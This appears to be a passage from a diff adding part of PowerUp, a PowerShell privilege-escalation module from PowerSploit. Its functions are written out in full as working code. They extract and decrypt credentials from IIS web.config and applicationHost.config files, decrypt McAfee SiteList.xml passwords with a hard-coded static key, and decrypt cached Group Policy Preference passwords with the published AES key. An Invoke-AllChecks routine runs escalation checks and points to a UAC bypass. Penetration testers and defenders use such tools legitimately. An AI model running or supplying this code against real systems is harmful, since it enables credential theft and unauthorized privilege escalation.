C:\App2\test\web.config No + s2user s2password 192.168.1.102\server2 C:\App2 C:\App2\web.config Yes + s3user s3password 192.168.1.103\server3 D:\App3 D:\App3\web.config No + + .LINK + + https://github.com/darkoperator/Posh-SecMod/blob/master/PostExploitation/PostExploitation.psm1 + http://www.netspi.com + https://raw2.github.com/NetSPI/cmdsql/master/cmdsql.aspx + http://www.iis.net/learn/get-started/getting-started-with-iis/getting-started-with-appcmdexe + http://msdn.microsoft.com/en-us/library/k6h9cz8h(v=vs.80).aspx + + .NOTES + + Below is an alterantive method for grabbing connection strings, but it doesn't support decryption. + for /f "tokens=*" %i in ('%systemroot%\system32\inetsrv\appcmd.exe list sites /text:name') do %systemroot%\system32\inetsrv\appcmd.exe list config "%i" -section:connectionstrings +#> + + [CmdletBinding()] + Param() + + $OrigError = $ErrorActionPreference + $ErrorActionPreference = "SilentlyContinue" + + # Check if appcmd.exe exists + if (Test-Path ("$Env:SystemRoot\System32\InetSRV\appcmd.exe")) { + + # Create data table to house results + $DataTable = New-Object System.Data.DataTable + + # Create and name columns in the data table + $Null = $DataTable.Columns.Add("user") + $Null = $DataTable.Columns.Add("pass") + $Null = $DataTable.Columns.Add("dbserv") + $Null = $DataTable.Columns.Add("vdir") + $Null = $DataTable.Columns.Add("path") + $Null = $DataTable.Columns.Add("encr") + + # Get list of virtual directories in IIS + C:\Windows\System32\InetSRV\appcmd.exe list vdir /text:physicalpath | + ForEach-Object { + + $CurrentVdir = $_ + + # Converts CMD style env vars (%) to powershell env vars (env) + if ($_ -like "*%*") { + $EnvarName = "`$Env:"+$_.split("%")[1] + $EnvarValue = Invoke-Expression $EnvarName + $RestofPath = $_.split("%")[2] + $CurrentVdir = $EnvarValue+$RestofPath + } + + # Search for web.config files in each virtual directory + $CurrentVdir | Get-ChildItem -Recurse -Filter web.config | ForEach-Object { + + # Set web.config path + $CurrentPath = $_.fullname + + # Read the data from the web.config xml file + [xml]$ConfigFile = Get-Content $_.fullname + + # Check if the connectionStrings are encrypted + if ($ConfigFile.configuration.connectionStrings.add) { + + # Foreach connection string add to data table + $ConfigFile.configuration.connectionStrings.add| + ForEach-Object { + + [String]$MyConString = $_.connectionString + if($MyConString -like "*password*") { + $ConfUser = $MyConString.Split("=")[3].Split(";")[0] + $ConfPass = $MyConString.Split("=")[4].Split(";")[0] + $ConfServ = $MyConString.Split("=")[1].Split(";")[0] + $ConfVdir = $CurrentVdir + $ConfPath = $CurrentPath + $ConfEnc = "No" + $Null = $DataTable.Rows.Add($ConfUser, $ConfPass, $ConfServ,$ConfVdir,$CurrentPath, $ConfEnc) + } + } + } + else { + + # Find newest version of aspnet_regiis.exe to use (it works with older versions) + $AspnetRegiisPath = Get-ChildItem -Path "$Env:SystemRoot\Microsoft.NET\Framework\" -Recurse -filter 'aspnet_regiis.exe' | Sort-Object -Descending | Select-Object fullname -First 1 + + # Check if aspnet_regiis.exe exists + if (Test-Path ($AspnetRegiisPath.FullName)) { + + # Setup path for temp web.config to the current user's temp dir + $WebConfigPath = (Get-Item $Env:temp).FullName + "\web.config" + + # Remove existing temp web.config + if (Test-Path ($WebConfigPath)) { + Remove-Item $WebConfigPath + } + + # Copy web.config from vdir to user temp for decryption + Copy-Item $CurrentPath $WebConfigPath + + # Decrypt web.config in user temp + $AspnetRegiisCmd = $AspnetRegiisPath.fullname+' -pdf "connectionStrings" (get-item $Env:temp).FullName' + $Null = Invoke-Expression $AspnetRegiisCmd + + # Read the data from the web.config in temp + [xml]$TMPConfigFile = Get-Content $WebConfigPath + + # Check if the connectionStrings are still encrypted + if ($TMPConfigFile.configuration.connectionStrings.add) { + + # Foreach connection string add to data table + $TMPConfigFile.configuration.connectionStrings.add | ForEach-Object { + + [String]$MyConString = $_.connectionString + if($MyConString -like "*password*") { + $ConfUser = $MyConString.Split("=")[3].Split(";")[0] + $ConfPass = $MyConString.Split("=")[4].Split(";")[0] + $ConfServ = $MyConString.Split("=")[1].Split(";")[0] + $ConfVdir = $CurrentVdir + $ConfPath = $CurrentPath + $ConfEnc = 'Yes' + $Null = $DataTable.Rows.Add($ConfUser, $ConfPass, $ConfServ,$ConfVdir,$CurrentPath, $ConfEnc) + } + } + + } + else { + Write-Verbose "Decryption of $CurrentPath failed." + $False + } + } + else { + Write-Verbose 'aspnet_regiis.exe does not exist in the default location.' + $False + } + } + } + } + + # Check if any connection strings were found + if( $DataTable.rows.Count -gt 0 ) { + # Display results in list view that can feed into the pipeline + $DataTable | Sort-Object user,pass,dbserv,vdir,path,encr | Select-Object user,pass,dbserv,vdir,path,encr -Unique + } + else { + Write-Verbose 'No connection strings found.' + $False + } + } + else { + Write-Verbose 'Appcmd.exe does not exist in the default location.' + $False + } + + $ErrorActionPreference = $OrigError +} + + +function Get-ApplicationHost { + <# + .SYNOPSIS + + This script will recover encrypted application pool and virtual directory passwords from the applicationHost.config on the system. + + .DESCRIPTION + + This script will decrypt and recover application pool and virtual directory passwords + from the applicationHost.config file on the system. The output supports the + pipeline which can be used to convert all of the results into a pretty table by piping + to format-table. + + .EXAMPLE + + Return application pool and virtual directory passwords from the applicationHost.config on the system. + + PS C:\> Get-ApplicationHost + user : PoolUser1 + pass : PoolParty1! + type : Application Pool + vdir : NA + apppool : ApplicationPool1 + user : PoolUser2 + pass : PoolParty2! + type : Application Pool + vdir : NA + apppool : ApplicationPool2 + user : VdirUser1 + pass : VdirPassword1! + type : Virtual Directory + vdir : site1/vdir1/ + apppool : NA + user : VdirUser2 + pass : VdirPassword2! + type : Virtual Directory + vdir : site2/ + apppool : NA + + .EXAMPLE + + Return a list of cleartext and decrypted connect strings from web.config files. + + PS C:\> Get-ApplicationHost | Format-Table -Autosize + + user pass type vdir apppool + ---- ---- ---- ---- ------- + PoolUser1 PoolParty1! Application Pool NA ApplicationPool1 + PoolUser2 PoolParty2! Application Pool NA ApplicationPool2 + VdirUser1 VdirPassword1! Virtual Directory site1/vdir1/ NA + VdirUser2 VdirPassword2! Virtual Directory site2/ NA + + .LINK + + https://github.com/darkoperator/Posh-SecMod/blob/master/PostExploitation/PostExploitation.psm1 + http://www.netspi.com + http://www.iis.net/learn/get-started/getting-started-with-iis/getting-started-with-appcmdexe + http://msdn.microsoft.com/en-us/library/k6h9cz8h(v=vs.80).aspx + + .NOTES + + Author: Scott Sutherland - 2014, NetSPI + Version: Get-ApplicationHost v1.0 + Comments: Should work on IIS 6 and Above +#> + + $OrigError = $ErrorActionPreference + $ErrorActionPreference = "SilentlyContinue" + + # Check if appcmd.exe exists + if (Test-Path ("$Env:SystemRoot\System32\inetsrv\appcmd.exe")) { + # Create data table to house results + $DataTable = New-Object System.Data.DataTable + + # Create and name columns in the data table + $Null = $DataTable.Columns.Add("user") + $Null = $DataTable.Columns.Add("pass") + $Null = $DataTable.Columns.Add("type") + $Null = $DataTable.Columns.Add("vdir") + $Null = $DataTable.Columns.Add("apppool") + + # Get list of application pools + Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppools /text:name" | ForEach-Object { + + # Get application pool name + $PoolName = $_ + + # Get username + $PoolUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.username" + $PoolUser = Invoke-Expression $PoolUserCmd + + # Get password + $PoolPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.password" + $PoolPassword = Invoke-Expression $PoolPasswordCmd + + # Check if credentials exists + if (($PoolPassword -ne "") -and ($PoolPassword -isnot [system.array])) { + # Add credentials to database + $Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName) + } + } + + # Get list of virtual directories + Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir /text:vdir.name" | ForEach-Object { + + # Get Virtual Directory Name + $VdirName = $_ + + # Get username + $VdirUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:userName" + $VdirUser = Invoke-Expression $VdirUserCmd + + # Get password + $VdirPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:password" + $VdirPassword = Invoke-Expression $VdirPasswordCmd + + # Check if credentials exists + if (($VdirPassword -ne "") -and ($VdirPassword -isnot [system.array])) { + # Add credentials to database + $Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA') + } + } + + # Check if any passwords were found + if( $DataTable.rows.Count -gt 0 ) { + # Display results in list view that can feed into the pipeline + $DataTable | Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique + } + else { + # Status user + Write-Verbose 'No application pool or virtual directory passwords were found.' + $False + } + } + else { + Write-Verbose 'Appcmd.exe does not exist in the default location.' + $False + } + + $ErrorActionPreference = $OrigError +} + + +function Get-SiteListPassword { +<# + .SYNOPSIS + + Retrieves the plaintext passwords for found McAfee's SiteList.xml files. + Based on Jerome Nokin (@funoverip)'s Python solution (in links). + + PowerSploit Function: Get-SiteListPassword + Original Author: Jerome Nokin (@funoverip) + PowerShell Port: @harmj0y + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: None + + .DESCRIPTION + + Searches for any McAfee SiteList.xml in C:\Program Files\, C:\Program Files (x86)\, + C:\Documents and Settings\, or C:\Users\. For any files found, the appropriate + credential fields are extracted and decrypted using the internal Get-DecryptedSitelistPassword + function that takes advantage of McAfee's static key encryption. Any decrypted credentials + are output in custom objects. See links for more information. + + .PARAMETER Path + + Optional path to a SiteList.xml file or folder. + + .EXAMPLE + + PS C:\> Get-SiteListPassword + + EncPassword : jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q== + UserName : + Path : Products/CommonUpdater + Name : McAfeeHttp + DecPassword : MyStrongPassword! + Enabled : 1 + DomainName : + Server : update.nai.com:80 + + EncPassword : jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q== + UserName : McAfeeService + Path : Repository$ + Name : Paris + DecPassword : MyStrongPassword! + Enabled : 1 + DomainName : companydomain + Server : paris001 + + EncPassword : jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q== + UserName : McAfeeService + Path : Repository$ + Name : Tokyo + DecPassword : MyStrongPassword! + Enabled : 1 + DomainName : companydomain + Server : tokyo000 + + .LINK + + https://github.com/funoverip/mcafee-sitelist-pwd-decryption/ + https://funoverip.net/2016/02/mcafee-sitelist-xml-password-decryption/ + https://github.com/tfairane/HackStory/blob/master/McAfeePrivesc.md + https://www.syss.de/fileadmin/dokumente/Publikationen/2011/SySS_2011_Deeg_Privilege_Escalation_via_Antivirus_Software.pdf +#> + + [CmdletBinding()] + param( + [Parameter(Position=0, ValueFromPipeline=$True)] + [ValidateScript({Test-Path -Path $_ })] + [String[]] + $Path + ) + + BEGIN { + function Local:Get-DecryptedSitelistPassword { + # PowerShell adaptation of https://github.com/funoverip/mcafee-sitelist-pwd-decryption/ + # Original Author: Jerome Nokin (@funoverip / jerome.nokin@gmail.com) + # port by @harmj0y + [CmdletBinding()] + Param ( + [Parameter(Mandatory=$True)] + [String] + $B64Pass + ) + + # make sure the appropriate assemblies are loaded + Add-Type -Assembly System.Security + Add-Type -Assembly System.Core + + # declare the encoding/crypto providers we need + $Encoding = [System.Text.Encoding]::ASCII + $SHA1 = New-Object System.Security.Cryptography.SHA1CryptoServiceProvider + $3DES = New-Object System.Security.Cryptography.TripleDESCryptoServiceProvider + + # static McAfee key XOR key LOL + $XORKey = 0x12,0x15,0x0F,0x10,0x11,0x1C,0x1A,0x06,0x0A,0x1F,0x1B,0x18,0x17,0x16,0x05,0x19 + + # xor the input b64 string with the static XOR key + $I = 0; + $UnXored = [System.Convert]::FromBase64String($B64Pass) | Foreach-Object { $_ -BXor $XORKey[$I++ % $XORKey.Length] } + + # build the static McAfee 3DES key TROLOL + $3DESKey = $SHA1.ComputeHash($Encoding.GetBytes('')) + ,0x00*4 + + # set the options we need + $3DES.Mode = 'ECB' + $3DES.Padding = 'None' + $3DES.Key = $3DESKey + + # decrypt the unXor'ed block + $Decrypted = $3DES.CreateDecryptor().TransformFinalBlock($UnXored, 0, $UnXored.Length) + + # ignore the padding for the result + $Index = [Array]::IndexOf($Decrypted, [Byte]0) + if($Index -ne -1) { + $DecryptedPass = $Encoding.GetString($Decrypted[0..($Index-1)]) + } + else { + $DecryptedPass = $Encoding.GetString($Decrypted) + } + + New-Object -TypeName PSObject -Property @{'Encrypted'=$B64Pass;'Decrypted'=$DecryptedPass} + } + + function Local:Get-SitelistFields { + [CmdletBinding()] + Param ( + [Parameter(Mandatory=$True)] + [String] + $Path + ) + + try { + [Xml]$SiteListXml = Get-Content -Path $Path + + if($SiteListXml.InnerXml -Like "*password*") { + Write-Verbose "Potential password in found in $Path" + + $SiteListXml.SiteLists.SiteList.ChildNodes | Foreach-Object { + try { + $PasswordRaw = $_.Password.'#Text' + + if($_.Password.Encrypted -eq 1) { + # decrypt the base64 password if it's marked as encrypted + $DecPassword = if($PasswordRaw) { (Get-DecryptedSitelistPassword -B64Pass $PasswordRaw).Decrypted } else {''} + } + else { + $DecPassword = $PasswordRaw + } + + $Server = if($_.ServerIP) { $_.ServerIP } else { $_.Server } + $Path = if($_.ShareName) { $_.ShareName } else { $_.RelativePath } + + $ObjectProperties = @{ + 'Name' = $_.Name; + 'Enabled' = $_.Enabled; + 'Server' = $Server; + 'Path' = $Path; + 'DomainName' = $_.DomainName; + 'UserName' = $_.UserName; + 'EncPassword' = $PasswordRaw; + 'DecPassword' = $DecPassword; + } + New-Object -TypeName PSObject -Property $ObjectProperties + } + catch { + Write-Verbose "Error parsing node : $_" + } + } + } + } + catch { + Write-Warning "Error parsing file '$Path' : $_" + } + } + } + + PROCESS { + if($PSBoundParameters['Path']) { + $XmlFilePaths = $Path + } + else { + $XmlFilePaths = @('C:\Program Files\','C:\Program Files (x86)\','C:\Documents and Settings\','C:\Users\') + } + + $XmlFilePaths | Foreach-Object { Get-ChildItem -Path $_ -Recurse -Include 'SiteList.xml' -ErrorAction SilentlyContinue } | Where-Object { $_ } | Foreach-Object { + Write-Verbose "Parsing SiteList.xml file '$($_.Fullname)'" + Get-SitelistFields -Path $_.Fullname + } + } +} + + +function Get-CachedGPPPassword { +<# + .SYNOPSIS + + Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences and left in cached files on the host. + + PowerSploit Function: Get-CachedGPPPassword + Author: Chris Campbell (@obscuresec), local cache mods by @harmj0y + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: None + + .DESCRIPTION + + Get-CachedGPPPassword searches the local machine for cached for groups.xml, scheduledtasks.xml, services.xml and datasources.xml files and returns plaintext passwords. + + .EXAMPLE + + PS C:\> Get-CachedGPPPassword + + + NewName : [BLANK] + Changed : {2013-04-25 18:36:07} + Passwords : {Super!!!Password} + UserNames : {SuperSecretBackdoor} + File : C:\ProgramData\Microsoft\Group Policy\History\{32C4C89F-7 + C3A-4227-A61D-8EF72B5B9E42}\Machine\Preferences\Groups\Gr + oups.xml + + .LINK + + http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html + https://github.com/mattifestation/PowerSploit/blob/master/Recon/Get-GPPPassword.ps1 + https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/credentials/gpp.rb + http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences + http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html +#> + + [CmdletBinding()] + Param() + + # Some XML issues between versions + Set-StrictMode -Version 2 + + # make sure the appropriate assemblies are loaded + Add-Type -Assembly System.Security + Add-Type -Assembly System.Core + + # helper that decodes and decrypts password + function local:Get-DecryptedCpassword { + [CmdletBinding()] + Param ( + [string] $Cpassword + ) + + try { + # Append appropriate padding based on string length + $Mod = ($Cpassword.length % 4) + + switch ($Mod) { + '1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)} + '2' {$Cpassword += ('=' * (4 - $Mod))} + '3' {$Cpassword += ('=' * (4 - $Mod))} + } + + $Base64Decoded = [Convert]::FromBase64String($Cpassword) + + # Create a new AES .NET Crypto Object + $AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider + [Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8, + 0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b) + + # Set IV to all nulls to prevent dynamic generation of IV value + $AesIV = New-Object Byte[]($AesObject.IV.Length) + $AesObject.IV = $AesIV + $AesObject.Key = $AesKey + $DecryptorObject = $AesObject.CreateDecryptor() + [Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length) + + return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock) + } + + catch {Write-Error $Error[0]} + } + + # helper that parses fields from the found xml preference files + function local:Get-GPPInnerFields { + [CmdletBinding()] + Param ( + $File + ) + + try { + + $Filename = Split-Path $File -Leaf + [XML] $Xml = Get-Content ($File) + + $Cpassword = @() + $UserName = @() + $NewName = @() + $Changed = @() + $Password = @() + + # check for password field + if ($Xml.innerxml -like "*cpassword*"){ + + Write-Verbose "Potential password in $File" + + switch ($Filename) { + 'Groups.xml' { + $Cpassword += , $Xml | Select-Xml "/Groups/User/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} + $UserName += , $Xml | Select-Xml "/Groups/User/Properties/@userName" | Select-Object -Expand Node | ForEach-Object {$_.Value} + $NewName += , $Xml | Select-Xml "/Groups/User/Properties/@newName" | Select-Object -Expand Node | ForEach-Object {$_.Value} + $Changed += , $Xml | Select-Xml "/Groups/User/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} + } + + 'Services.xml' { + $Cpassword += , $Xml | Select-Xml "/NTServices/NTService/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} + $UserName += , $Xml | Select-Xml "/NTServices/NTService/Properties/@accountName" | Select-Object -Expand Node | ForEach-Object {$_.Value} + $Changed += , $Xml | Select-Xml "/NTServices/NTService/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} + } + + 'Scheduledtasks.xml' { + $Cpassword += , $Xml | Select-Xml "/ScheduledTasks/Task/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} + $UserName += , $Xml | Select-Xml "/ScheduledTasks/Task/Properties/@runAs" | Select-Object -Expand Node | ForEach-Object {$_.Value} + $Changed += , $Xml | Select-Xml "/ScheduledTasks/Task/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} + } + + 'DataSources.xml' { + $Cpassword += , $Xml | Select-Xml "/DataSources/DataSource/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} + $UserName += , $Xml | Select-Xml "/DataSources/DataSource/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value} + $Changed += , $Xml | Select-Xml "/DataSources/DataSource/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} + } + + 'Printers.xml' { + $Cpassword += , $Xml | Select-Xml "/Printers/SharedPrinter/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} + $UserName += , $Xml | Select-Xml "/Printers/SharedPrinter/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value} + $Changed += , $Xml | Select-Xml "/Printers/SharedPrinter/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} + } + + 'Drives.xml' { + $Cpassword += , $Xml | Select-Xml "/Drives/Drive/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} + $UserName += , $Xml | Select-Xml "/Drives/Drive/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value} + $Changed += , $Xml | Select-Xml "/Drives/Drive/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} + } + } + } + + foreach ($Pass in $Cpassword) { + Write-Verbose "Decrypting $Pass" + $DecryptedPassword = Get-DecryptedCpassword $Pass + Write-Verbose "Decrypted a password of $DecryptedPassword" + #append any new passwords to array + $Password += , $DecryptedPassword + } + + # put [BLANK] in variables + if (-not $Password) {$Password = '[BLANK]'} + if (-not $UserName) {$UserName = '[BLANK]'} + if (-not $Changed) {$Changed = '[BLANK]'} + if (-not $NewName) {$NewName = '[BLANK]'} + + # Create custom object to output results + $ObjectProperties = @{'Passwords' = $Password; + 'UserNames' = $UserName; + 'Changed' = $Changed; + 'NewName' = $NewName; + 'File' = $File} + + $ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties + Write-Verbose "The password is between {} and may be more than one value." + if ($ResultsObject) {Return $ResultsObject} + } + + catch {Write-Error $Error[0]} + } + + try { + $AllUsers = $Env:ALLUSERSPROFILE + + if($AllUsers -notmatch 'ProgramData') { + $AllUsers = "$AllUsers\Application Data" + } + + # discover any locally cached GPP .xml files + $XMlFiles = Get-ChildItem -Path $AllUsers -Recurse -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml' -Force -ErrorAction SilentlyContinue + + if ( -not $XMlFiles ) { + Write-Verbose 'No preference files found.' + } + else { + Write-Verbose "Found $($XMLFiles | Measure-Object | Select-Object -ExpandProperty Count) files that could contain passwords." + + ForEach ($File in $XMLFiles) { + Get-GppInnerFields $File.Fullname + } + } + } + + catch {Write-Error $Error[0]} +} + + +function Invoke-AllChecks { +<# + .SYNOPSIS + + Runs all functions that check for various Windows privilege escalation opportunities. + + Author: @harmj0y + License: BSD 3-Clause + + .PARAMETER HTMLReport + + Write a HTML version of the report to SYSTEM.username.html. + + .EXAMPLE + + PS C:\> Invoke-AllChecks + + Runs all escalation checks and outputs a status report for discovered issues. + + .EXAMPLE + + PS C:\> Invoke-AllChecks -HTMLReport + + Runs all escalation checks and outputs a status report to SYSTEM.username.html + detailing any discovered issues. +#> + + [CmdletBinding()] + Param( + [Switch] + $HTMLReport + ) + + if($HTMLReport) { + #$HtmlReportFile = "$($Env:ComputerName).$($Env:UserName).html" + + ConvertTo-HTML -Fragment -Pre "

PowerUp Report for $($Env:ComputerName) - $($Env:UserName)

`n
" | Out-File -Append $HtmlReportFile + } + + # initial admin checks + + "`n[*] Running Invoke-AllChecks" + + $IsAdmin = ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator") + + if($IsAdmin){ + "[+] Current user already has local administrative privileges!" + + if($HTMLReport) { + ConvertTo-HTML -Fragment -Pre "

User Has Local Admin Privileges!

" | Out-File -Append $HtmlReportFile + } + } + else{ + "`n`n[*] Checking if user is in a local group with administrative privileges..." + + $CurrentUserSids = Get-CurrentUserTokenGroupSid | Select-Object -ExpandProperty SID + if($CurrentUserSids -contains 'S-1-5-32-544') { + "[+] User is in a local group that grants administrative privileges!" + "[+] Run a BypassUAC attack to elevate privileges to admin." + + if($HTMLReport) { + ConvertTo-HTML -Fragment -Pre "

User In Local Group With Administrative Privileges

" | Out-File -Append $HtmlReportFile + } + } + } + + + # Service checks + + "`n`n[*] Checking for unquoted service paths..." + $Results = Get-ServiceUnquoted + $Results | Format-List + if($HTMLReport) { + $Results | ConvertTo-HTML -Fragment -Pre "

Unquoted Service Paths

" | Out-File -Append $HtmlReportFile + } + + "`n`n[*] Checking service executable and argument permissions..." + $Results = Get-ModifiableServiceFile + $Results | Format-List + if($HTMLReport) { + $Results | ConvertTo-HTML -Fragment -Pre "

Service File Permissions

" | Out-File -Append $HtmlReportFile + } + + "`n`n[*] Checking service permissions..." + $Results = Get-ModifiableService + $Results | Format-List + if($HTMLReport) { + $Results | ConvertTo-HTML -Fragment -Pre "

Modifiable Services

" | Out-File -Append $HtmlReportFile + } + + + # DLL hijacking + + "`n`n[*] Checking %PATH% for potentially hijackable DLL locations..." + $Results = Find-PathDLLHijack + $Results = $Results | Where-Object {$_} | Select-Object ModifiablePath, "%PATH%", Permissions, IdentityReference + $Results | Format-List + if($HTMLReport) { + $Results | ConvertTo-HTML -Fragment -Pre "

%PATH% .dll Hijacks

" | Out-File -Append $HtmlReportFile + } + + + # registry checks + + "`n`n[*] Checking for AlwaysInstallElevated registry key..." + if (Get-RegistryAlwaysInstallElevated) { + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'AbuseFunction' "Write-UserAddMSI" + $Results = $Out + + $Results | Format-List + if($HTMLReport) { + $Results | ConvertTo-HTML -Fragment -Pre "

AlwaysInstallElevated

" | Out-File -Append $HtmlReportFile + } + } + + "`n`n[*] Checking for Autologon credentials in registry..." + $Results = Get-RegistryAutoLogon + $Results | Format-List + if($HTMLReport) { + $Results | ConvertTo-HTML -Fragment -Pre "

Registry Autologons

" | Out-File -Append $HtmlReportFile + } + + + "`n`n[*] Checking for modifiable registry autoruns and configs..." + $Results = Get-ModifiableRegistryAutoRun + $Results | Format-List + if($HTMLReport) { + $Results | ConvertTo-HTML -Fragment -Pre "

Registry Autoruns

" | Out-File -Append $HtmlReportFile + } + + # other checks + + "`n`n[*] Checking for modifiable schtask files/configs..." + $Results = Get-ModifiableScheduledTaskFile + $Results | Format-List + if($HTMLReport) { + $Results | ConvertTo-HTML -Fragment -Pre "

Modifiable Schtask Files

" | Out-File -Append $HtmlReportFile + } + + "`n`n[*] Checking for unattended install files..." + $Results = Get-UnattendedInstallFile + $Results | Format-List + if($HTMLReport) { + $Results | ConvertTo-HTML -Fragment -Pre "

Unattended Install Files

" | Out-File -Append $HtmlReportFile + } + + "`n`n[*] Checking for encrypted web.config strings..." + $Results = Get-Webconfig | Where-Object {$_} + $Results | Format-List + if($HTMLReport) { + $Results | ConvertTo-HTML -Fragment -Pre "

Encrypted 'web.config' String

" | Out-File -Append $HtmlReportFile + } + + "`n`n[*] Checking for encrypted application pool and virtual directory passwords..." + $Results = Get-ApplicationHost | Where-Object {$_} + $Results | Format-List + if($HTMLReport) { + $Results | ConvertTo-HTML -Fragment -Pre "

Encrypted Application Pool Passwords

" | Out-File -Append $HtmlReportFile + } + + "`n`n[*] Checking for plaintext passwords in McAfee SiteList.xml files...." + $Results = Get-SiteListPassword | Where-Object {$_} + $Results | Format-List + if($HTMLReport) { + $Results | ConvertTo-HTML -Fragment -Pre "

McAfee's SiteList.xml's

" | Out-File -Append $HtmlReportFile + } + "`n" + + "`n`n[*] Checking for cached Group Policy Preferences .xml files...." + $Results = Get-CachedGPPPassword | Where-Object {$_} + $Results | Format-List + if($HTMLReport) { + $Results | ConvertTo-HTML -Fragment -Pre "

Cached GPP Files

" | Out-File -Append $HtmlReportFile + } + "`n" + + if($HTMLReport) { + "[*] Report written to '$HtmlReportFile' `n" + } +} + + +# PSReflect signature specifications +$Module = New-InMemoryModule -ModuleName PowerUpModule + +$FunctionDefinitions = @( + (func kernel32 GetCurrentProcess ([IntPtr]) @()) + (func advapi32 OpenProcessToken ([Bool]) @( [IntPtr], [UInt32], [IntPtr].MakeByRefType()) -SetLastError) + (func advapi32 GetTokenInformation ([Bool]) @([IntPtr], [UInt32], [IntPtr], [UInt32], [UInt32].MakeByRefType()) -SetLastError), + (func advapi32 ConvertSidToStringSid ([Int]) @([IntPtr], [String].MakeByRefType()) -SetLastError), + (func advapi32 QueryServiceObjectSecurity ([Bool]) @([IntPtr], [Security.AccessControl.SecurityInfos], [Byte[]], [UInt32], [UInt32].MakeByRefType()) -SetLastError), + (func advapi32 ChangeServiceConfig ([Bool]) @([IntPtr], [UInt32], [UInt32], [UInt32], [String], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [IntPtr]) -SetLastError -Charset Unicode), + (func advapi32 CloseServiceHandle ([Bool]) @([IntPtr]) -SetLastError) +) + +# https://rohnspowershellblog.wordpress.com/2013/03/19/viewing-service-acls/ +$ServiceAccessRights = psenum $Module PowerUp.ServiceAccessRights UInt32 @{ + QueryConfig = '0x00000001' + ChangeConfig = '0x00000002' + QueryStatus = '0x00000004' + EnumerateDependents = '0x00000008' + Start = '0x00000010' + Stop = '0x00000020' + PauseContinue = '0x00000040' + Interrogate = '0x00000080' + UserDefinedControl = '0x00000100' + Delete = '0x00010000' + ReadControl = '0x00020000' + WriteDac = '0x00040000' + WriteOwner = '0x00080000' + Synchronize = '0x00100000' + AccessSystemSecurity = '0x01000000' + GenericAll = '0x10000000' + GenericExecute = '0x20000000' + GenericWrite = '0x40000000' + GenericRead = '0x80000000' + AllAccess = '0x000F01FF' +} -Bitfield + +$SidAttributes = psenum $Module PowerUp.SidAttributes UInt32 @{ + SE_GROUP_ENABLED = '0x00000004' + SE_GROUP_ENABLED_BY_DEFAULT = '0x00000002' + SE_GROUP_INTEGRITY = '0x00000020' + SE_GROUP_INTEGRITY_ENABLED = '0xC0000000' + SE_GROUP_MANDATORY = '0x00000001' + SE_GROUP_OWNER = '0x00000008' + SE_GROUP_RESOURCE = '0x20000000' + SE_GROUP_USE_FOR_DENY_ONLY = '0x00000010' +} -Bitfield + +$SID_AND_ATTRIBUTES = struct $Module PowerUp.SidAndAttributes @{ + Sid = field 0 IntPtr + Attributes = field 1 UInt32 +} + +$TOKEN_GROUPS = struct $Module PowerUp.TokenGroups @{ + GroupCount = field 0 UInt32 + Groups = field 1 $SID_AND_ATTRIBUTES.MakeArrayType() -MarshalAs @('ByValArray', 32) +} + +$Types = $FunctionDefinitions | Add-Win32Type -Module $Module -Namespace 'PowerUp.NativeMethods' +$Advapi32 = $Types['advapi32'] +$Kernel32 = $Types['kernel32'] \ No newline at end of file 